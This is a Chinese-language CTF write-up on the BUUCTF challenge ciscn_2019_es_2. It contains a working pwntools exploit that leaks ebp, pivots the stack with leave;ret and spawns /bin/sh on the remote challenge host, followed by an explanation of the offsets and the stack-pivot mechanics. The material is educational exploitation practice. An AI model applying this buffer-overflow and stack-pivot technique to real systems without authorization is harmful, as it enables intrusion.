从BUUCTF之ciscn_2019_es_2简单复习栈迁移，即stack pivoting

WP:

from pwn import *
a=remote('node4.buuoj.cn',25724)
sys=0x8048400
leave_ret=0x080485fd
#a.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
a.send(payload)
a.recvuntil("bbbbbbbb")
ebp=u32(a.recv(4))
print (hex(ebp))
payload2='a'*4+p32(sys)+'a'*4+p32(ebp-0x28)+"/bin/sh\x00"
payload2=payload2.ljust(0x28,'\x00')
payload2 += p32(ebp-0x38)+p32(leave_ret)
#print (payload2)
#gdb.attach(a)
a.send(payload2)
a.interactive()

具体题目一步一步分析请看别的师傅的，这里解释一下有点难理解的：
1：paylaod2的构造这里是利用了栈作为迁移的对象，毕竟read输入时溢出的空间不够。重点在于偏移量的计算：为什么是ebp-0x38呢？再printf输出时，paylaod首先覆盖了s数组，而后让printf输出ebp存的内容，注意是ebp的内容作为地址所指向的内容，不是ebp存的内容，看下图：这个a是read输入的a，输入到s数组的开头，分析知0xffffd168与0xffffd130之间的距离位0x38.
2:就是栈迁移的原理，paylaod2最后为什么加一个p32（leave_ret），理解清楚了就解决了。

最后我们总结一下栈迁移

最初程序执行完指令后：一般会执行：leave ;retn
这两条指令，leave指令进行操作mov ebp,esp ; pop ebp,此过程可以理解为下一个函数调用的栈顶先到位，就是资源先到位此时esp指向函数返回地址，而后执行retn这就是pop eip，使得函数对应的指令到位，而后开始执行，这里我们再次触发 **p32(leave_ret)**这就是leave和retn两条指令再次执行。
所以导致system开始执行。